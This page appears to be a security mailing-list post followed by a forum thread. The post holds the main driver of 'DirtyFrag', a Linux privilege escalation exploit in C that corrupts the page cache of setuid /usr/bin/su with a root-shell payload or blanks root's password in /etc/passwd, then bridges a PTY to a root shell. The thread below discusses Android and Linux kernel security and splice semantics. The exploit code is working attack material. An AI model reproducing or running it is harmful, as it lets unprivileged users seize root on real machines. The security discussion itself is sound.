} /* * DirtyFrag chain — uid=1000 → root. * * 1. ESP path (authencesn AF_ALG --corrupt-only): overwrites the first * 160 bytes of /usr/bin/su's page-cache with a static x86_64 root- * shell ELF. Works on every distro tested regardless of PAM nullok * or /etc/passwd contents — once invoked, the patched setuid-root * /usr/bin/su just execs /bin/sh as uid 0. * * 2. rxrpc path (Ubuntu fallback): if AF_ALG is sandboxed and the ESP * path can't reach the page cache, fall back to the rxrpc/rxkad * nullok primitive that patches /etc/passwd's root entry empty. * PAM nullok then accepts the empty password during `su -`. * * 3. Once either target is corrupted, spawn `/usr/bin/su -` inside a * fresh PTY and bridge the user's tty to it. The bridge handles * both the patched-su (no PAM at all) and the patched-passwd (PAM * nullok) cases uniformly, and works even when the caller is in a * background process group of an ssh-allocated PTY. * */ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <fcntl.h> #include <sched.h> #include <poll.h> #include <signal.h> #include <termios.h> #include <sys/ioctl.h> #include <sys/wait.h> #include <sys/types.h> #include <stdint.h>
extern int su_lpe_main(int argc, char **argv); extern int rxrpc_lpe_main(int argc, char **argv);
/* * The 8 bytes our su payload places at file offset 0x78 — the first * instructions of the embedded shell ELF. Sequence: * 31 ff xor edi, edi * 31 f6 xor esi, esi * 31 c0 xor eax, eax * b0 6a mov al, 0x6a (setgid) * Distros' original /usr/bin/su has different bytes here, so this is * a reliable post-patch marker. * * (We don't check offset 0 because /usr/bin/su already has the ELF * magic there — both before and after we patch.) */ static const uint8_t su_marker[8] = { 0x31, 0xff, 0x31, 0xf6, 0x31, 0xc0, 0xb0, 0x6a, };
static int su_already_patched(void) { int fd = open("/usr/bin/su", O_RDONLY); if (fd < 0) return 0; uint8_t got[8]; ssize_t n = pread(fd, got, sizeof(got), 0x78); close(fd); if (n != sizeof(got)) return 0; return memcmp(got, su_marker, sizeof(su_marker)) == 0; }
static int passwd_already_patched(void) { int fd = open("/etc/passwd", O_RDONLY); if (fd < 0) return 0; char head[16]; ssize_t n = pread(fd, head, sizeof(head), 0); close(fd); if (n < 9) return 0; return memcmp(head, "root::0:0", 9) == 0; }
static int either_target_patched(void) { return su_already_patched() || passwd_already_patched(); }
static void silence_stderr(int *saved_fd) { *saved_fd = dup(STDERR_FILENO); int dn = open("/dev/null", O_WRONLY); if (dn >= 0) { dup2(dn, STDERR_FILENO); close(dn); } }
static void restore_stderr(int saved_fd) { if (saved_fd >= 0) { dup2(saved_fd, STDERR_FILENO); close(saved_fd); } }
static char **append_corrupt_only(int argc, char **argv, int *new_argc) { static char *flag = "--corrupt-only"; static char *buf[64]; int n = argc < 60 ? argc : 60; for (int i = 0; i < n; i++) buf[i] = argv[i]; buf[n] = flag; buf[n + 1] = NULL; *new_argc = n + 1; return buf; }
static void exec_su_login(void) { const char *paths[] = { "/bin/su", "/usr/bin/su", "/sbin/su", "/usr/sbin/su", NULL, }; for (int i = 0; paths[i]; i++) execl(paths[i], "su", "-", (char *)NULL); execlp("su", "su", "-", (char *)NULL); }
/* * Spawn `/usr/bin/su -` in a fresh PTY and bridge our tty to it. */ static int run_root_pty(void) { int master = posix_openpt(O_RDWR | O_NOCTTY); if (master < 0) return -1; if (grantpt(master) < 0 || unlockpt(master) < 0) { close(master); return -1; } char *slave_name = ptsname(master); if (!slave_name) { close(master); return -1; }
struct winsize ws;
if (ioctl(STDIN\_FILENO, TIOCGWINSZ, &ws) == 0)
ioctl(master, TIOCSWINSZ, &ws);
pid\_t pid = fork();
if (pid < 0) {
close(master);
return -1;
}
if (pid == 0) {
setsid();
int slave = open(slave\_name, O\_RDWR);
if (slave < 0)
\_exit(127);
ioctl(slave, TIOCSCTTY, 0);
dup2(slave, 0);
dup2(slave, 1);
dup2(slave, 2);
if (slave > 2)
close(slave);
close(master);
exec\_su\_login();
\_exit(127);
}
signal(SIGTTOU, SIG\_IGN);
signal(SIGTTIN, SIG\_IGN);
signal(SIGPIPE, SIG\_IGN);
signal(SIGHUP, SIG\_IGN);
(void)setpgid(0, 0);
(void)tcsetpgrp(STDIN\_FILENO, getpid());
struct termios saved\_termios;
int restore\_termios = 0;
if (tcgetattr(STDIN\_FILENO, &saved\_termios) == 0) {
struct termios raw = saved\_termios;
cfmakeraw(&raw);
if (tcsetattr(STDIN\_FILENO, TCSANOW, &raw) == 0)
restore\_termios = 1;
}
int auto\_pw\_sent = 0;
int stdin\_eof = 0;
int saw\_master\_output = 0;
int total\_ms = 0;
char buf\[4096\];
for (;;) {
struct pollfd pfds\[2\] = {
{ stdin\_eof ? -1 : STDIN\_FILENO, POLLIN, 0 },
{ master, POLLIN, 0 },
};
int pr = poll(pfds, 2, 200);
if (pr < 0 && errno != EINTR)
break;
total\_ms += 200;
if (pfds\[1\].revents & POLLIN) {
ssize\_t n = read(master, buf, sizeof(buf));
if (n <= 0)
break;
saw\_master\_output = 1;
(void)write(STDOUT\_FILENO, buf, n);
if (!auto\_pw\_sent && n < (ssize\_t)sizeof(buf)) {
buf\[n\] = 0;
if (strstr(buf, "Password") ||
strstr(buf, "password")) {
(void)write(master, "\\n", 1);
auto\_pw\_sent = 1;
}
}
}
if (!stdin\_eof && (pfds\[0\].revents & POLLIN)) {
ssize\_t n = read(STDIN\_FILENO, buf, sizeof(buf));
if (n <= 0)
stdin\_eof = 1;
else
(void)write(master, buf, n);
}
if (pfds\[1\].revents & (POLLHUP | POLLERR))
break;
if (!auto\_pw\_sent && !saw\_master\_output && total\_ms >= 1500) {
(void)write(master, "\\n", 1);
auto\_pw\_sent = 1;
}
int status;
pid\_t w = waitpid(pid, &status, WNOHANG);
if (w == pid) {
for (int i = 0; i < 5; i++) {
struct pollfd pf = { master, POLLIN, 0 };
if (poll(&pf, 1, 50) <= 0)
break;
ssize\_t n = read(master, buf, sizeof(buf));
if (n <= 0)
break;
(void)write(STDOUT\_FILENO, buf, n);
}
break;
}
}
if (restore\_termios)
tcsetattr(STDIN\_FILENO, TCSANOW, &saved\_termios);
close(master);
return 0;
}
int main(int argc, char **argv) { int verbose = (getenv("DIRTYFRAG_VERBOSE") != NULL); int force_esp = 0, force_rxrpc = 0; int saved_err = -1; int rc = 1; int new_argc; char **co_argv;
for (int i = 1; i < argc; i++) {
if (!strcmp(argv\[i\], "--force-esp"))
force\_esp = 1;
else if (!strcmp(argv\[i\], "--force-rxrpc"))
force\_rxrpc = 1;
else if (!strcmp(argv\[i\], "-v") ||
!strcmp(argv\[i\], "--verbose"))
verbose = 1;
}
if (getuid() == 0) {
execlp("/bin/bash", "bash", (char \*)NULL);
\_exit(1);
}
co\_argv = append\_corrupt\_only(argc, argv, &new\_argc);
if (!verbose)
silence\_stderr(&saved\_err);
if (force\_rxrpc) {
rc = rxrpc\_lpe\_main(new\_argc, co\_argv);
for (int i = 0; !passwd\_already\_patched() && i < 3; i++)
rc = rxrpc\_lpe\_main(new\_argc, co\_argv);
} else if (force\_esp) {
rc = su\_lpe\_main(new\_argc, co\_argv);
} else {
rc = su\_lpe\_main(new\_argc, co\_argv);
if (!su\_already\_patched()) {
rc = rxrpc\_lpe\_main(new\_argc, co\_argv);
for (int i = 0; !passwd\_already\_patched() && i < 3; i++)
rc = rxrpc\_lpe\_main(new\_argc, co\_argv);
}
}
int patched = either\_target\_patched();
if (!verbose)
restore\_stderr(saved\_err);
if (patched) {
(void)run\_root\_pty();
return 0;
}
dprintf(2, "dirtyfrag: failed (rc=%d)\\n", rc);
return rc ? rc : 1;
} ```
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.
I've had to explicitly direct the machine to read existing sibling code and follow the specific idioms and patterns in use.
It's absolutely the same issue in authencesn/ESP. There's another one in RxRPC that is AIUI completely unrelated.
Developers don't like mandatory sandboxing. It has to be forced on them. So you can see the difficulty of doing it in the open source community, which has for decades now had the worst security of any desktop OS platform (even Windows is better).
AI is neat because it's higher signal but yeah no, we're not getting anywhere close to "safe linux", AI or not.
There was Dalvik VM at one point but now it’s just the Android Runtime.
Imagine if Linux only let you run stuff from Flatpak, and if stuff didn't work in Flatpak then too bad for you. Most Linux users would hate it and it would be a mess a lot of the time, so, for user experience (UX) reasons, they don't do it. Android can get away with it because that's been the app paradigm for decades now.
SELinux will stop any process in android from loading kernel modules, that’s not allowed. The android permission model as a whole is ultimately backed by SELinux.
The claim is Android is much more secure than other Linux, but if 40% of all Android devices don‘t get a security patch and you can’t even do it yourself I would call the more secure per se.
Hardening is one part of security, patchability another. Android lacks in the latter.
It's not any different from putting an always-running network service behind socket activation instead. The security boundary/risk is nearly identical between the two.
Some folks like the termux rebels, occasionally find out there is a sherif in town.
> As documented in the Android N behavioral changes, to protect Android users and apps from unforeseen crashes, Android N will restrict which libraries your C/C++ code can link against at runtime. As a result, if your app uses any private symbols from platform libraries, you will need to update it to either use the public NDK APIs or to include its own copy of those libraries. Some libraries are public: the NDK exposes libandroid, libc, libcamera2ndk, libdl, libGLES, libjnigraphics, liblog, libm, libmediandk, libOpenMAXAL, libOpenSLES, libstdc++, libvulkan, and libz as part of the NDK API. Other libraries are private, and Android N only allows access to them for platform HALs, system daemons, and the like. If you aren’t sure whether your app uses private libraries, you can immediately check it for warnings on the N Developer Preview.
https://android-developers.googleblog.com/2016/06/improving-...
These stable APIs,
(Of course the problem isn't Android, it's the chipset vendors that the SW depends on. They drop support fast and never give enough info for anyone else to keep things up to date. Also Google.)
No system will stay secure once it does not receive updates. That does not exclude it from being more secure than another system based on security feature merits as long as it does get updated.
>Hardening is one part of security, patchability another. Android lacks in the latter.
That is not an inherent flaw with android but OEM devices shipping modified android they don't bother keeping up to date. Some OEMs are trying to mitigate this by increasing security update support up to 7 years which still is not long enough but also doesn't make them less secure than a desktop that gets updated longer.
What people forget is that not only desktop and mobile phone software is different but also the hardware. If your desktop pc hardware is out of date / EOL nobody cares usually. Meanwhile on a phone this can be a lot more relevant because security expectations and threat models are a lot higher, for example see all the zero/one click compromise headlines.
From the sound of it, the same mitigations for Copy Fail 1 are also effective here.
Physical access always means the device is pwned. You can install a keylogger or something similar.
There's no question that we live in the world where LLM AI was involved in finding the copy fail vulnerability at this specific time, and it's completely normal for people to see a vulnerability and then look closer and find related vulnerabilities or a deeper root cause, but there's no need to adopt an extreme "without AI LLM we don't find these vulnerabilities" position.
So like I said, just chill out.
Also some obligatory Linux vs GNU/Linux comment. (and it's not like GNU/Linux doesn't ever change under your feet - see the glibc DT_HASH debacle)
If there's no PoC, how can you really be sure?
- Is totally Linux
Google relies on Linux LTS kernels. When the Linux LTS team dropped support from 6 years down to 2 years, Google stepped in to cover the 4-year gap.
It is Linux. It's basically a distro.
That said, newer Androids use seccomp to restrict which syscalls you can use, basically to what bionic exposes anyway. This doesn't seem to affect Termux and friends, which can apparently run full X11 applications without root.
(edit) Notably, splice() is still callable, so maybe the POC needs to be tweaked...
Someone can statically build a freestanding executable/so targetting arm64 linux (specifically the right android linux kernel version) and it will run fine on Android. The syscall interface, process model, file descriptors, signals, memory mapping, all of this is Linux, this is what people mean when they say Android is just Linux.
So it seems surprising to me that you can call it when the out fd is not writable? But I didn't retain the information about the vulnerability, so I'm missing something. There was something about copy on write, IIRC?
You responded contrasting a network service with an administrator-loadable module.
This is neither of those. It's an LPE, not a remote exploit. It doesn't require an administrator (root) to load anything. In context of this vuln, it's exactly analogous to socket activation. The scope of an LPE vuln is local; yes. What does that have to do with the rest of your comments?
That is a very difficult fact pattern to which to attach the conclusion "LLMs have sabotaged security research" (my paraphrase).
As for termux,
Also, NB, I said permission check, not mode check. The input fd to splice can and will be open for only reading quite often. Doesn't mean the kernel can't still do a write permission check.
(Except I didn't say that here. Oops. Getting confused with my posts.)
I originally replied to a comment saying "This feels like the practice of Linux distros back in 1999 when they'd ship default installs with dozens of network services exposed to the internet". It is not like that.
They do not get bored like a human but they are trained on human language and replicate the same traits, such as laziness, and expressing boredom or annoyance (even if obviously they do not experience anything at all). It’s actually a lot of effort to get them to engage with things at a deeper level without skipping corners
But splice is a more or less a generalization of sendfile, and sendfile is often used for webserving where the serving process does not have ownership of the documents it is serving. It doesn't make sense to limit splice such that it can't do the task it was built for. Maybe splice should just not write to the input fd? :P
https://xcancel.com/encrypted_past/status/205240982299839296... https://xcancel.com/encrypted_past https://github.com/0xdeadbeefnetwork https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boo...
But apparently we can't be trusted with the page cache…
Maybe the kernel using supervisor-read-only flags could be made to work, only issue then is what happens if something does in fact need to write…
Not really, splice(2) is actually more limited, it's an optimisation for reading and writing data between files and pipes without needing to make copies.
sendfile(2) works with any fds because it just exists to remove a fair bit of the copy overhead when doing a userspace read/write loop, but it does actually do a copy.